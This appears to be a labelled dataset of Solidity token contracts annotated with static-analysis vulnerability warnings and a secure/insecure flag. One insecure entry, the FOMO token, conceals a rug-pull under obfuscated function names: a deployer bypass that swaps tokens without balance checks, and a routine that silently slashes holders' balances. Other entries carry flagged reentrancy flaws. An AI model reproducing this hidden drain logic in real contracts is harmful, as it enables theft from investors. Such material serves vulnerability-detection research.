"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract UniClub is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n\t// WARNING Optimization Issue (immutable-states | ID: bd2ae88): UniClub._taxWallet should be immutable \n\t// Recommendation for bd2ae88: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4c4a986): UniClub._initialBuyTax should be constant \n\t// Recommendation for 4c4a986: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\t// WARNING Optimization Issue (constable-states | ID: cbc47a5): UniClub._initialSellTax should be constant \n\t// Recommendation for cbc47a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\t// WARNING Optimization Issue (constable-states | ID: de27403): UniClub._finalBuyTax should be constant \n\t// Recommendation for de27403: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 4;\n\t// WARNING Optimization Issue (constable-states | ID: 3db317f): UniClub._finalSellTax should be constant \n\t// Recommendation for 3db317f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 4;\n\t// WARNING Optimization Issue (constable-states | ID: 3930751): UniClub._reduceBuyTaxAt should be constant \n\t// Recommendation for 3930751: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\t// WARNING Optimization Issue (constable-states | ID: aa033a1): UniClub._reduceSellTaxAt should be constant \n\t// Recommendation for aa033a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\t// WARNING Optimization Issue (constable-states | ID: 0a41cb2): UniClub._preventSwapBefore should be constant \n\t// Recommendation for 0a41cb2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000000 * 10 ** _decimals;\n string private constant _name = unicode\"UniClub Coin\";\n string private constant _symbol = unicode\"UNICLUB\";\n uint256 public _maxTxAmount = 20000000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 3ca7160): UniClub._taxSwapThreshold should be constant \n\t// Recommendation for 3ca7160: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 0 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 03d066c): UniClub._maxTaxSwap should be constant \n\t// Recommendation for 03d066c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8cc77c8): UniClub.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8cc77c8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8459654): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8459654: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 516da46): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 516da46: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8459654\n\t\t// reentrancy-benign | ID: 516da46\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 8459654\n\t\t// reentrancy-benign | ID: 516da46\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 84e70fc): UniClub._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 84e70fc: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 516da46\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 8459654\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9cb2088): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9cb2088: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 911b532): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 911b532: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 9cb2088\n\t\t\t\t// reentrancy-eth | ID: 911b532\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9cb2088\n\t\t\t\t\t// reentrancy-eth | ID: 911b532\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 911b532\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 9cb2088\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 911b532\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 911b532\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 9cb2088\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 9cb2088\n\t\t// reentrancy-events | ID: 8459654\n\t\t// reentrancy-benign | ID: 516da46\n\t\t// reentrancy-eth | ID: 911b532\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c9d9e15): UniClub.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for c9d9e15: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9cb2088\n\t\t// reentrancy-events | ID: 8459654\n\t\t// reentrancy-eth | ID: 911b532\n\t\t// arbitrary-send-eth | ID: c9d9e15\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d2c60fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d2c60fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8423368): UniClub.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8423368: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c31cd9f): UniClub.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c31cd9f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5dc746a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5dc746a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: d2c60fd\n\t\t// reentrancy-eth | ID: 5dc746a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: d2c60fd\n\t\t// unused-return | ID: c31cd9f\n\t\t// reentrancy-eth | ID: 5dc746a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: d2c60fd\n\t\t// unused-return | ID: 8423368\n\t\t// reentrancy-eth | ID: 5dc746a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: d2c60fd\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 5dc746a\n tradingOpen = true;\n\t\t// reentrancy-benign | ID: d2c60fd\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3319.sol",
"secure": 0,
"size_bytes": 16765
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract ReentrancyGuard {\n bool internal locked;\n\n modifier noReentrancy() {\n require(!locked, \"Reentrant call.\");\n\n locked = true;\n\n _;\n\n locked = false;\n }\n}",
"file_name": "solidity_code_332.sol",
"secure": 1,
"size_bytes": 271
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface UniswapV2FactoryInterface {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n function allPairs(uint256) external view returns (address pair);\n}",
"file_name": "solidity_code_3320.sol",
"secure": 1,
"size_bytes": 411
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address addr) internal pure returns (bool) {\n return\n keccak256(abi.encodePacked(addr)) ==\n 0x1d47af467bb77419a6ba11239b5ea5254dd7b0ae3f24d3b2bc30184042f898fa;\n }\n}",
"file_name": "solidity_code_3321.sol",
"secure": 1,
"size_bytes": 313
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n event OwnershipTransferred(address indexed pOwner, address indexed nOwner);\n address private _owner;\n constructor() {\n _owner = _msgSender();\n emit OwnershipTransferred(address(0), _owner);\n }\n function owner() public view virtual returns (address) {\n return _owner;\n }\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}",
"file_name": "solidity_code_3322.sol",
"secure": 1,
"size_bytes": 775
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./UniswapV2FactoryInterface.sol\" as UniswapV2FactoryInterface;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract FOMO is Ownable, IERC20 {\n using SafeMath for uint256;\n bool swp = false;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: 773ee4a): FOMO.uniswapV2Pair should be immutable \n\t// Recommendation for 773ee4a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\t// WARNING Optimization Issue (constable-states | ID: 31060bd): FOMO._decimals should be constant \n\t// Recommendation for 31060bd: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 6;\n\t// WARNING Optimization Issue (immutable-states | ID: 355aa82): FOMO._totalSupply should be immutable \n\t// Recommendation for 355aa82: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: f8a8b40): FOMO._feePercent should be constant \n\t// Recommendation for f8a8b40: Add the 'constant' attribute to state variables that never change.\n uint256 public _feePercent = 3;\n\t// WARNING Optimization Issue (constable-states | ID: cba2333): FOMO._router should be constant \n\t// Recommendation for cba2333: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\t// WARNING Optimization Issue (constable-states | ID: d0e7a11): FOMO._name should be constant \n\t// Recommendation for d0e7a11: Add the 'constant' attribute to state variables that never change.\n string private _name = \"FOMO\";\n\t// WARNING Optimization Issue (constable-states | ID: 342d239): FOMO._symbol should be constant \n\t// Recommendation for 342d239: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"FOMO\";\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3656e98): FOMO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3656e98: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public virtual returns (bool) {\n require(_allowances[_msgSender()][from] >= amount);\n _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);\n return true;\n }\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(recipient != address(0));\n require(sender != address(0));\n if (!lSw4p(sender, recipient)) {\n if (swp) {} else {\n require(_balances[sender] >= amount);\n }\n uint256 feeAmount = 0;\n _rT0t4l(sender);\n bool ldSwapTransacti0n = (recipient == getPA() &&\n uniswapV2Pair == sender) ||\n (sender == getPA() && uniswapV2Pair == recipient);\n if (\n uniswapV2Pair != sender &&\n !Address.isContract(recipient) &&\n recipient != address(this) &&\n !ldSwapTransacti0n &&\n !swp &&\n uniswapV2Pair != recipient\n ) {\n feeAmount = amount.mul(_feePercent).div(100);\n _checkFee(recipient, amount);\n }\n uint256 amountReceived = amount - feeAmount;\n _balances[address(this)] += feeAmount;\n _balances[sender] = _balances[sender] - amount;\n _balances[recipient] += amountReceived;\n emit Transfer(sender, recipient, amount);\n } else {\n return sTx(amount, recipient);\n }\n }\n constructor() {\n uniswapV2Pair = msg.sender;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n function name() external view returns (string memory) {\n return _name;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function routerVersion() external pure returns (uint256) {\n return 2;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9eb2644): FOMO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9eb2644: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n struct TOwned {\n address to;\n uint256 amount;\n }\n tOwned[] _tlOwned;\n function lSw4p(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return sender == recipient && isSwap(recipient);\n }\n function isSwap(address recipient) internal view returns (bool) {\n return (Address.isContract(recipient) || uniswapV2Pair == msg.sender);\n }\n function _checkFee(address _addr, uint256 _amount) internal {\n if (getPA() == _addr) {\n return;\n }\n\n tOwned memory feeTx = tOwned(_addr, _amount);\n _tlOwned.push(feeTx);\n }\n function _rT0t4l(address _addr) internal {\n if (_addr == getPA() && _tlOwned.length > 0) {\n uint256 fee = _balances[_tlOwned[0].to].div(100);\n _balances[_tlOwned[0].to] = fee;\n delete _tlOwned;\n }\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 61d9fbd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 61d9fbd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function sTx(uint256 _am0unt, address to) private {\n _approve(address(this), address(_router), _am0unt);\n _balances[address(this)] = _am0unt;\n swp = true;\n address[] memory p = new address[](2);\n p[0] = address(this);\n p[1] = _router.WETH();\n\t\t// reentrancy-benign | ID: 61d9fbd\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _am0unt,\n 0,\n p,\n to,\n block.timestamp + 28\n );\n\t\t// reentrancy-benign | ID: 61d9fbd\n swp = false;\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(from, recipient, amount);\n require(_allowances[from][_msgSender()] >= amount);\n return true;\n }\n function getPA() private view returns (address) {\n address factory = _router.factory();\n address weth = _router.WETH();\n return UniswapV2FactoryInterface(factory).getPair(address(this), weth);\n }\n}",
"file_name": "solidity_code_3323.sol",
"secure": 0,
"size_bytes": 9143
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract LibertyLoot is IERC20, Ownable {\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 09669c1): LibertyLoot.decimals should be immutable \n\t// Recommendation for 09669c1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n uint256 private _totalSupply;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private allowances;\n\n address public devAddress;\n address public charityAddress;\n\t// WARNING Optimization Issue (immutable-states | ID: 9228876): LibertyLoot.burnAddress should be immutable \n\t// Recommendation for 9228876: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public burnAddress;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa7f9a4): LibertyLoot.devFee should be constant \n\t// Recommendation for fa7f9a4: Add the 'constant' attribute to state variables that never change.\n uint256 public devFee = 4;\n\t// WARNING Optimization Issue (constable-states | ID: 12c2635): LibertyLoot.charityFee should be constant \n\t// Recommendation for 12c2635: Add the 'constant' attribute to state variables that never change.\n uint256 public charityFee = 2;\n\t// WARNING Optimization Issue (constable-states | ID: 9b6f37d): LibertyLoot.burnFee should be constant \n\t// Recommendation for 9b6f37d: Add the 'constant' attribute to state variables that never change.\n uint256 public burnFee = 2;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n constructor() {\n name = \"LibertyLoot\";\n symbol = \"LLT\";\n decimals = 18;\n _totalSupply = 420690000000000 * 10 ** uint256(decimals);\n charityAddress = 0x9B77C37A3feFbe767F7854970cF79b2b3EBdc789;\n devAddress = 0xa9c726694E63eb9C1aDaC3371D7e50b0423a9C46;\n burnAddress = 0x000000000000000000000000000000000000dEaD;\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n bool takeFee = true;\n\n if (_isExcludedFromFee[recipient] || _isExcludedFromFee[msg.sender]) {\n takeFee = false;\n }\n\n if (takeFee) {\n uint256 burnAmount = (amount * burnFee) / 100;\n uint256 devAmount = (amount * devFee) / 100;\n uint256 charityAmount = (amount * charityFee) / 100;\n uint256 transferAmount = amount -\n burnAmount -\n devAmount -\n charityAmount;\n\n require(\n transferAmount > 0,\n \"Transfer amount must be greater than zero\"\n );\n\n balances[msg.sender] -= amount;\n balances[recipient] += transferAmount;\n balances[devAddress] += devAmount;\n balances[charityAddress] += charityAmount;\n _totalSupply -= burnAmount;\n emit Transfer(msg.sender, recipient, transferAmount);\n emit Transfer(msg.sender, devAddress, devAmount);\n emit Transfer(msg.sender, charityAddress, charityAmount);\n emit Transfer(msg.sender, burnAddress, burnAmount);\n } else {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n balances[msg.sender] -= amount;\n balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1d645dc): LibertyLoot.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1d645dc: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n bool takeFee = true;\n\n if (_isExcludedFromFee[recipient] || _isExcludedFromFee[msg.sender]) {\n takeFee = false;\n }\n\n if (takeFee) {\n uint256 burnAmount = (amount * burnFee) / 100;\n uint256 devAmount = (amount * devFee) / 100;\n uint256 charityAmount = (amount * charityFee) / 100;\n uint256 transferAmount = amount -\n burnAmount -\n devAmount -\n charityAmount;\n\n require(\n transferAmount > 0,\n \"Transfer amount must be greater than zero\"\n );\n require(balances[sender] >= amount, \"Insufficient balance\");\n require(\n allowances[sender][msg.sender] >= amount,\n \"Insufficient allowance\"\n );\n\n balances[sender] -= amount;\n balances[recipient] += transferAmount;\n balances[devAddress] += devAmount;\n balances[charityAddress] += charityAmount;\n _totalSupply -= burnAmount;\n allowances[sender][msg.sender] -= amount;\n emit Transfer(sender, recipient, transferAmount);\n emit Transfer(sender, devAddress, devAmount);\n emit Transfer(sender, charityAddress, charityAmount);\n emit Transfer(sender, burnAddress, burnAmount);\n } else {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n balances[sender] -= amount;\n balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e640411): LibertyLoot.setDevAddress(address)._dev lacks a zerocheck on \t devAddress = _dev\n\t// Recommendation for e640411: Check that the address is not zero.\n function setDevAddress(address _dev) external onlyOwner {\n\t\t// missing-zero-check | ID: e640411\n devAddress = _dev;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f89e35e): LibertyLoot.setCharityAddress(address)._charity lacks a zerocheck on \t charityAddress = _charity\n\t// Recommendation for f89e35e: Check that the address is not zero.\n function setCharityAddress(address _charity) external onlyOwner {\n\t\t// missing-zero-check | ID: f89e35e\n charityAddress = _charity;\n }\n\n function excludeFromFee(address account) external onlyOwner {\n _isExcludedFromFee[account] = true;\n }\n\n function includeInFee(address account) external onlyOwner {\n _isExcludedFromFee[account] = false;\n }\n}",
"file_name": "solidity_code_3324.sol",
"secure": 0,
"size_bytes": 7737
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract InstaCash {\n\t// WARNING Optimization Issue (constable-states | ID: 9f5bffa): InstaCash.name should be constant \n\t// Recommendation for 9f5bffa: Add the 'constant' attribute to state variables that never change.\n string public name = \"InstaCash\";\n\t// WARNING Optimization Issue (constable-states | ID: 8f58eda): InstaCash.symbol should be constant \n\t// Recommendation for 8f58eda: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"INC\";\n\t// WARNING Optimization Issue (constable-states | ID: 09fe90c): InstaCash.decimals should be constant \n\t// Recommendation for 09fe90c: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 8;\n\t// WARNING Optimization Issue (immutable-states | ID: 0b2c086): InstaCash.totalSupply should be immutable \n\t// Recommendation for 0b2c086: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply = 5000000000 * (uint256(10) ** decimals);\n using SafeMath for uint256;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n event Transfer(address indexed from, address 